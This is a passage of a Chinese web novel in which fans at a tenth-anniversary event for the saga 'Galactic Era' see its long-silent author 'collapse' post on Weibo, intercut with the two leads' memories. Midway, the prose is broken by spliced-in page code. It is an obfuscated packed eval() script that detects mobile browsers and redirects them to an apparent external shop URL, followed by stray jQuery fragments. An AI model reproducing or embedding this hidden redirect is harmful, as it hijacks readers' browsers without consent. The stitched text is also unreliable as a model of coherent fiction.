池明澈下垂的手已经和旁边一位早候着的对在了一起，似乎是无意识，但更像是做了无数次后的条件反射。


    音乐渐熄，恢弘的史诗收束成册，合上书页，回到现实。


    现场人还没缓过神来，还在费力呼吸。


    忽然间，画面又是一转，那些此起彼伏的呼吸声几乎是齐刷刷地顿住，整个世界忽然失声。


    池明澈微微睁大了眼睛，指尖在围拢他的掌心里轻轻一颤。


    屏幕上出现了一个他再熟悉不过的背景。


    他仿佛打开了自己的微博，看到了经常访问的第一位。


    主持人声音徐徐：“这是我们银河纪元宇宙的缔造者，过去十年……”


    屠榜，霸榜。


    奖项，赞誉。


    过去十年……


    “等到十周年，我们一定大办特办，至少让整个莲城见证一下我们的狂欢吧！”小池明澈刚开始抽条的胳膊比划得很大，“也不知道C大会不会露面。”


    林聿渊拿笔敲他：“梦别做那么大，还十周年，三年后还有人记得就不错了。”


    “不可能！我们必有十周年！不只十周年！”


    “怎么不说话？你是不是偷偷翻白眼了？”


    林聿渊半真半假地撑着头，语气还有哄小孩的意味：“想你的宏图大业，有几成实现可能。”


    池明澈凑过来，目光如聚：“几成几成？”


    林聿渊长久地停顿，光阴在他的注视下近乎漫长。


    “十成。”


    主持人继续说：“我们C大头像是一张流星穿越黑洞的简笔画。”


    “是光线。”池明澈很轻地说，主持人一愣。


    弹幕上也满是“是光线哦。”


    主持人赶忙说：“不好意思，是我功课没做够。”


    “看这个光线穿黑洞，嘿嘿嘿。”青春期的池明澈也没长几颗“青春限定战损”，光洁的脸满是邪恶，在YY频道散德行。


    “池、明、澈。”林聿渊敷衍地在他门上反手敲了一下就直接进来了，好像确信他没在做什么青少年需要隐私的事一样。


    “啊哥！”


    池明澈火速调整好表情，不知道为什么，虽然没做什么青少年需要隐私的事，只是口了一句嗨，他就莫名心虚，比被池勋抓包还虚。


    林聿渊还一脸揶揄的审视……


    不该啊？


    这房间这么不隔音吗？


    “你看我们C大这个头像，是不是有点像个空集符号？”


    “嗯，你终于有点高中生的样了。”


    “什么嘛……”


    “你再直播到这么晚，明天上不上课了。”


    “今天C大生日啊，多唱了会。”


    “唔。”


    “哥你怎么一副不知道的样子，都多少年了！”


    窦知辰声音少见的发哑：“微博只剩系统自动发的生日祝福了，有什么好看的。”


    池明澈垂下眼皮，一下被拉回最晦暗的时光。


    那时候一点记录的力气也没有，所有文档都大片空白，想起一串永远打不通的号码时……他就像注射止痛剂一样，点开这个访问第一的界面。


    头像是一张流星一样的光线穿越黑洞的简笔画，像个空集符号。


    简介里嚣张地写着：“平生执笔，书尽天下。”


    之后就是一条一条每年微博自动发的生日祝福。


    是已经停更四年的，作者collapse的微博。


    -我不明白，他是这么有耐心的人么？陪我一起追一本书？都是假的哦？转发“今天我生日。


    -有点可笑，我还觉得，他只是像纪渊司一样不爱说，做的一点都不少呢。做的是不少。转发“今天我生日。”


    -图片：拿饮料瓶的雪人。今天看见个这东西，差点傻了……还好只是可乐瓶。转发“今天我生日。”


    -说好的书尽天下呢？转发“今天我生日。”


    -封笔就封笔吧，能上来聊聊天吗？转发“今天我生日。”


    -三次生活开心，你永远自由，希望你写也是因为喜欢，不写也是因为喜欢。转发“今天我生日。”


    -快要十周年了呢，没想到吧。转发“今天我生日。”


    ……


    被林聿渊捏住虎口，绞在一起的指节被迫松开，池明澈才发现，手指已经抽筋了。


    心口的钝痛比手指间的更难以抑制——


    对于collapse来说，这个故事可能真的到头了。


    长生殿外明暗灯火，书里难求书外起落，collapse神笔无双……


    他当年怎么也没想到，比十周年更先到来的是现实的覆灭。


    打击怎么可以一重又一重，这么齐刷刷地撂给他，真不怕他承受不住么？


    忽然，屏幕一抖，池明澈瞳孔也跟着抖——


    就在方才，那个已经停更四年的微博，刷新出了几行字:


    “十周年和未来的时光，Collapse祝各位所愿皆成。


    真的很感谢。


    你们无一败绩。”


    死寂。


    偌大一个演播室，几万号人，愣是能听到微不足道的屏幕电流声。


    而片刻的宁静后是掀天覆地的吼叫，一个观众声嘶力竭地喊了声“C大！”


    之后就是齐齐的狂欢一般地欢呼：


    “collapse！”


    “collapse！”


    “collapse！”


    好像collapse就在屏幕后面藏着，只要他们喊得够久够大声，就能把那个消失四年的人喊出来一样。


    可是collapse很酷很高冷，留下这么几行字就再没动静了。


    林聿渊看池明澈瞪着屏幕，双目微红，一副执念不死的模样，心尖像被两片羽毛扫了一下。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048604|148979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他用尽可能柔和地力度轻轻摇了摇他的手，一个“沽名钓誉”的念头徒然而生。


    他看着荧光下，池明澈的睫毛垂了一下，是透光的羽毛。


    随后手里一股不容抗拒的力量，池明澈缓慢地手抽了出去。


    Collapse永远那么惜字如金。


    十周年之际也没有说包满意，没有承诺新番外、新故事，或者哪怕多两句话，通通都没有。


    粉丝却依然疯狂，短短几分钟，热搜榜稳稳当当一下午的第一就成了老二。


    弹幕斑斓：


    “#第十年，何止是伏笔#我没想到会喜欢一部作品这么久，竟然是我除了生存必须以外坚持最久的事。”


    “#第十年，何止是伏笔#现在谈恋爱都麻了，《银河纪元》还在喜欢，还能感觉到悸动。”


    “#第十年，何止是伏笔#老朋友了，本来以为已成定局的东西还能再带来什么感动呢，还真不是，《银河纪元》常读常新。”


    “#第十年，何止是伏笔#很难再对什么东西这么长情，对它永远有时间滤镜。”


    “#第十年，何止是伏笔#不夸张地说，在我感到生活无以为继的时候，它拉过我一次又一次，哈哈哈是不是很难理解？”


    微博界面淡淡隐去，画面切到一段很有异域风情的视频。


    辽阔的黄沙和空旷的天际在邈远处相接，突然一朵还沾着水的“雪里浮金”怼满了镜头。


    “哈哈哈哈哈哈哈哈哈哈，漂不漂亮银粉们！我们在卡拉哈里~”


    一双腿脚步倒退着出现在屏幕上，后来出现了一张带着墨镜的脸，他笑得嘴角要连上耳朵，骄傲地指着胸前银河纪元的标志。


    带沙的风打着旋地铺开，他手里的“雪里浮金”却一尘不染。


    紧接着一大群人呼啦啦地跑了出来，各个穿着风格明显的文化衫，大张着嘴，乐呵呵地吃些沙子，乱腾腾地喊着“亿万斯年，光明在我！”


    接下来是罗马斗兽场，敦煌莫高窟，埃及金字塔……书里的秘境入口是现实里真实存在的地点，银河纪元的标志缀满了整张羊皮卷，像雪里浮金上细密的碎钻，蜿蜒流过世界版图的长河。


    这是一场浩大的圣地巡礼。


    结伴出行的同好没有阵营之分，混在一起拍照，喊着：


    “亿万斯年，光明在我！”


    “亿万斯年，光明在我！”


    和远星长空一起，构成奔赴同一场梦的群像画。


    就像collapse每年的生日微博都能引起一个名为#第x年，何止是伏笔#的热搜。


    任何一点有关他的风吹草动都是一场浩大的典礼。


    那可是collapse。


    就算他只是发个“尽我所能”呢。


    那是collapse。


    林聿渊看着低垂的手，他能感受到手腕的筋在鼓鼓地跳着。


    而他只是林聿渊。